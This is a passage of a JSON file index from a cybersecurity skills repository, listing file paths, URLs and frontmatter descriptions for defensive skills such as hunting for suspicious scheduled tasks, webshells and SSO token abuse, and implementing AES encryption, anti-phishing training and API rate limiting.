/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":195,"sizeBytes":786},{"name":"api-reference.md","path":"skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-suspicious-scheduled-tasks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":518,"sizeBytes":1931},{"name":"standards.md","path":"skills/hunting-for-suspicious-scheduled-tasks/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-suspicious-scheduled-tasks/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":316,"sizeBytes":1418},{"name":"workflows.md","path":"skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-suspicious-scheduled-tasks/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":334,"sizeBytes":1279},{"name":"SKILL.md","path":"skills/hunting-for-suspicious-scheduled-tasks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-suspicious-scheduled-tasks/SKILL.md","title":"hunting-for-suspicious-scheduled-tasks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-suspicious-scheduled-tasks%2FSKILL.md -->","frontmatter":{"name":"hunting-for-suspicious-scheduled-tasks","description":"Hunts for adversary persistence and execution via Windows scheduled tasks (T1053.005) by analyzing Security Event ID 4698 task-creation events, suspicious task properties, and unusual execution patterns from schtasks.exe/at.exe. Use after detecting schtasks or at.exe in process creation logs, during incident response to enumerate persistence on compromised hosts, or when Event ID 4698 fires for an unusual task.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","scheduled-tasks","persistence","mitre-t1053-005","windows","endpoint-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":1160,"sizeBytes":4879},{"name":"api-reference.md","path":"skills/hunting-for-t1098-account-manipulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-t1098-account-manipulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":647,"sizeBytes":2661},{"name":"SKILL.md","path":"skills/hunting-for-t1098-account-manipulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-t1098-account-manipulation/SKILL.md","title":"hunting-for-t1098-account-manipulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-t1098-account-manipulation%2FSKILL.md -->","frontmatter":{"name":"hunting-for-t1098-account-manipulation","description":"Hunts for MITRE ATT&CK T1098 account manipulation - shadow admin creation, SID history injection, group membership changes, and credential modifications - by analyzing Windows Security Event Log IDs 4738, 4728, 4732, 4756, 4670, and 5136. Use when investigating suspected privilege persistence in Active Directory, after detecting anomalous group/credential changes, or during incident response to trace account tampering.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","t1098","account-manipulation","active-directory","persistence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Restore Access","Application Protocol Command Analysis","Password Authentication","Biometric Authentication"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":661,"sizeBytes":2920},{"name":"template.md","path":"skills/hunting-for-unusual-network-connections/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-network-connections/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":723,"sizeBytes":2663},{"name":"api-reference.md","path":"skills/hunting-for-unusual-network-connections/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-network-connections/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":562,"sizeBytes":1971},{"name":"standards.md","path":"skills/hunting-for-unusual-network-connections/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-network-connections/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":406,"sizeBytes":1586},{"name":"workflows.md","path":"skills/hunting-for-unusual-network-connections/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-network-connections/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":667,"sizeBytes":2992},{"name":"SKILL.md","path":"skills/hunting-for-unusual-network-connections/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-network-connections/SKILL.md","title":"hunting-for-unusual-network-connections","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-network-connections%2FSKILL.md -->","frontmatter":{"name":"hunting-for-unusual-network-connections","description":"Runs a hypothesis-driven threat hunt for command-and-control activity (T1071) by querying SIEM/EDR network telemetry for anomalous outbound traffic, rare destinations, non-standard ports, and unusual connection frequencies from endpoints. Use when hunting for beaconing/C2 traffic, after threat intel flags suspicious infrastructure, or when alerts fire on anomalous connections.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","network-analysis","c2","anomaly-detection","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1071"]},"isInternal":false,"tokens":828,"sizeBytes":3655},{"name":"api-reference.md","path":"skills/hunting-for-unusual-service-installations/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-service-installations/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":667,"sizeBytes":2639},{"name":"SKILL.md","path":"skills/hunting-for-unusual-service-installations/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-unusual-service-installations/SKILL.md","title":"hunting-for-unusual-service-installations","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-unusual-service-installations%2FSKILL.md -->","frontmatter":{"name":"hunting-for-unusual-service-installations","description":"Detects suspicious Windows service installations (MITRE ATT&CK T1543.003) by parsing System event log Event ID 7045, analyzing service binary paths, and flagging indicators of persistence mechanisms via Sysmon/EDR telemetry. Use when hunting for new-service persistence after a suspected compromise, when Event ID 7045 fires for an unfamiliar service, or during incident response to enumerate service-based persistence on Windows hosts.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","T1543.003","service-installation","persistence","Event-7045","Sysmon","Windows-services"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","System Configuration Permissions","Restore Object","Restore Database","Asset Inventory"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":605,"sizeBytes":2708},{"name":"template.md","path":"skills/hunting-for-webshell-activity/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-webshell-activity/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":723,"sizeBytes":2640},{"name":"api-reference.md","path":"skills/hunting-for-webshell-activity/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-webshell-activity/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":505,"sizeBytes":1767},{"name":"standards.md","path":"skills/hunting-for-webshell-activity/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-webshell-activity/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":410,"sizeBytes":1571},{"name":"workflows.md","path":"skills/hunting-for-webshell-activity/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-webshell-activity/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":655,"sizeBytes":2982},{"name":"SKILL.md","path":"skills/hunting-for-webshell-activity/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-webshell-activity/SKILL.md","title":"hunting-for-webshell-activity","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-webshell-activity%2FSKILL.md -->","frontmatter":{"name":"hunting-for-webshell-activity","description":"Runs a hypothesis-driven threat hunt for web shell deployment (T1505.003) on internet-facing servers by analyzing file creation in web directories, suspicious child-process spawning from web server processes, and anomalous HTTP request patterns. Use when hunting for web shells after a public-facing app compromise, when EDR/SIEM alerts fire on webserver process anomalies, or during incident response on internet-facing infrastructure.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","webshell","persistence","web-server","t1505","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Process Termination"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1547"]},"isInternal":false,"tokens":838,"sizeBytes":3613},{"name":"api-reference.md","path":"skills/hunting-saas-sso-token-abuse/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-saas-sso-token-abuse/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":540,"sizeBytes":2231},{"name":"standards.md","path":"skills/hunting-saas-sso-token-abuse/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-saas-sso-token-abuse/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":338,"sizeBytes":1423},{"name":"SKILL.md","path":"skills/hunting-saas-sso-token-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-saas-sso-token-abuse/SKILL.md","title":"hunting-saas-sso-token-abuse","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-saas-sso-token-abuse%2FSKILL.md -->","frontmatter":{"name":"hunting-saas-sso-token-abuse","description":"Hunts for stolen-session and OAuth/PRT token replay (T1550.001) by correlating Microsoft Entra ID SigninLogs SessionId/UniqueTokenIdentifier fields and Okta System Log sso/session events to spot impossible travel, refresh-token reuse, and token use from anomalous ASNs. Use when hunting MFA-bypass via stolen cookies/tokens, investigating impossible-travel alerts, or scoping SaaS lateral movement after phishing.","domain":"cybersecurity","subdomain":"soc-operations","tags":["threat-hunting","sso","oauth","token-theft","pass-the-cookie","entra-id","okta","detection-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1550.001"]},"isInternal":false,"tokens":2738,"sizeBytes":11560},{"name":"template.md","path":"skills/implementing-aes-encryption-for-data-at-rest/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aes-encryption-for-data-at-rest/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":752,"sizeBytes":2977},{"name":"api-reference.md","path":"skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aes-encryption-for-data-at-rest/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":531,"sizeBytes":1854},{"name":"standards.md","path":"skills/implementing-aes-encryption-for-data-at-rest/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aes-encryption-for-data-at-rest/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":905,"sizeBytes":3334},{"name":"workflows.md","path":"skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aes-encryption-for-data-at-rest/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":711,"sizeBytes":2963},{"name":"SKILL.md","path":"skills/implementing-aes-encryption-for-data-at-rest/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-aes-encryption-for-data-at-rest/SKILL.md","title":"implementing-aes-encryption-for-data-at-rest","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-aes-encryption-for-data-at-rest%2FSKILL.md -->","frontmatter":{"name":"implementing-aes-encryption-for-data-at-rest","description":"Guides implementing AES-256 encryption in GCM mode (FIPS 197) for files and data stores at rest, covering key derivation, IV/nonce management, and authenticated encryption. Use when deploying or configuring encryption for data at rest, establishing controls to meet compliance requirements, or reviewing an implementation during a security assessment.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","encryption","aes","data-at-rest","symmetric-encryption"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1486"]},"isInternal":false,"tokens":958,"sizeBytes":4223},{"name":"api-reference.md","path":"skills/implementing-alert-fatigue-reduction/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-alert-fatigue-reduction/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":533,"sizeBytes":2002},{"name":"SKILL.md","path":"skills/implementing-alert-fatigue-reduction/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-alert-fatigue-reduction/SKILL.md","title":"implementing-alert-fatigue-reduction","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-alert-fatigue-reduction%2FSKILL.md -->","frontmatter":{"name":"implementing-alert-fatigue-reduction","description":"Implements strategies to reduce SOC alert fatigue by tuning detection rules, consolidating duplicate alerts, implementing risk-based alerting, and measuring alert quality metrics to maintain analyst effectiveness and prevent critical alert dismissal. Use when SOC teams face overwhelming alert volumes, high false positive rates, or declining analyst performance.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","alert-fatigue","tuning","risk-based-alerting","false-positive","siem","detection-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T0816"]},"isInternal":false,"tokens":3164,"sizeBytes":12364},{"name":"template.md","path":"skills/implementing-anti-phishing-training-program/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-phishing-training-program/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":625,"sizeBytes":2472},{"name":"api-reference.md","path":"skills/implementing-anti-phishing-training-program/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-phishing-training-program/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":484,"sizeBytes":1845},{"name":"standards.md","path":"skills/implementing-anti-phishing-training-program/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-phishing-training-program/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":526,"sizeBytes":2114},{"name":"workflows.md","path":"skills/implementing-anti-phishing-training-program/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-phishing-training-program/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":767,"sizeBytes":3158},{"name":"SKILL.md","path":"skills/implementing-anti-phishing-training-program/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-phishing-training-program/SKILL.md","title":"implementing-anti-phishing-training-program","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-phishing-training-program%2FSKILL.md -->","frontmatter":{"name":"implementing-anti-phishing-training-program","description":"Guides designing, deploying, and measuring an anti-phishing security awareness program - baseline phishing simulations, interactive training modules, just-in-time learning, and metric tracking - using platforms like KnowBe4, Proofpoint Security Awareness, or Cofense. Use when building or maturing a phishing awareness program, establishing training controls for compliance, or measuring phishing susceptibility and reporting rates over time.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","training","security-culture"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","stealth"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1031","name":"Impersonate Account Holder","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":1115,"sizeBytes":5081},{"name":"api-reference.md","path":"skills/implementing-anti-ransomware-group-policy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-ransomware-group-policy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1073,"sizeBytes":3986},{"name":"SKILL.md","path":"skills/implementing-anti-ransomware-group-policy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-anti-ransomware-group-policy/SKILL.md","title":"implementing-anti-ransomware-group-policy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-anti-ransomware-group-policy%2FSKILL.md -->","frontmatter":{"name":"implementing-anti-ransomware-group-policy","description":"Configures Windows Group Policy Objects to block ransomware execution and lateral spread, covering AppLocker rules, Software Restriction Policies, Controlled Folder Access, attack surface reduction rules, and network protection settings. Use when hardening Windows endpoints against ransomware via GPO, configuring AppLocker or Controlled Folder Access, or building endpoint protection policies through Group Policy.","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","group-policy","windows","AppLocker","hardening","prevention"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","monetization"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":2184,"sizeBytes":9542},{"name":"api-reference.md","path":"skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":559,"sizeBytes":2007},{"name":"SKILL.md","path":"skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-abuse-detection-with-rate-limiting/SKILL.md","title":"implementing-api-abuse-detection-with-rate-limiting","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-abuse-detection-with-rate-limiting%2FSKILL.md -->","frontmatter":{"name":"implementing-api-abuse-detection-with-rate-limiting","description":"Implements API abuse detection using token bucket, sliding window, and fixed window rate-limiting algorithms backed by Redis, including adaptive limits that tighten during detected attacks and relax during normal traffic. Use when defending APIs against DDoS, brute force login attempts, credential stuffing, or scraping abuse and you need to design or tune rate-limiting logic.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","rate-limiting","token-bucket","sliding-window","ddos-protection","brute-force-prevention","api-abuse","api-gateway"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1003","T1110"]},"isInternal":false,"tokens":3150,"sizeBytes":13412},{"name":"api-reference.md","path":"skills/implementing-api-gateway-security-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-gateway-security-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1638},{"name":"SKILL.md","path":"skills/implementing-api-gateway-security-controls/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-gateway-security-controls/SKILL.md","title":"implementing-api-gateway-security-controls","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-api-gateway-security-controls%2FSKILL.md -->","frontmatter":{"name":"implementing-api-gateway-security-controls","description":"Configures API gateways such as Kong, AWS API Gateway, Azure APIM, or Apigee as a centralized security enforcement point, covering authentication enforcement, rate limiting and throttling, request validation, IP allowlisting, TLS termination, and threat protection. Use when securing API traffic at the gateway layer, setting up gateway-level authentication and quota management, or centralizing API protection before requests reach backend services.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","api-gateway","kong","aws-api-gateway","rate-limiting","waf"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1078.004","T1530"]},"isInternal":false,"tokens":3604,"sizeBytes":15516},{"name":"api-reference.md","path":"skills/implementing-api-key-security-controls/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-api-key-security-controls/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 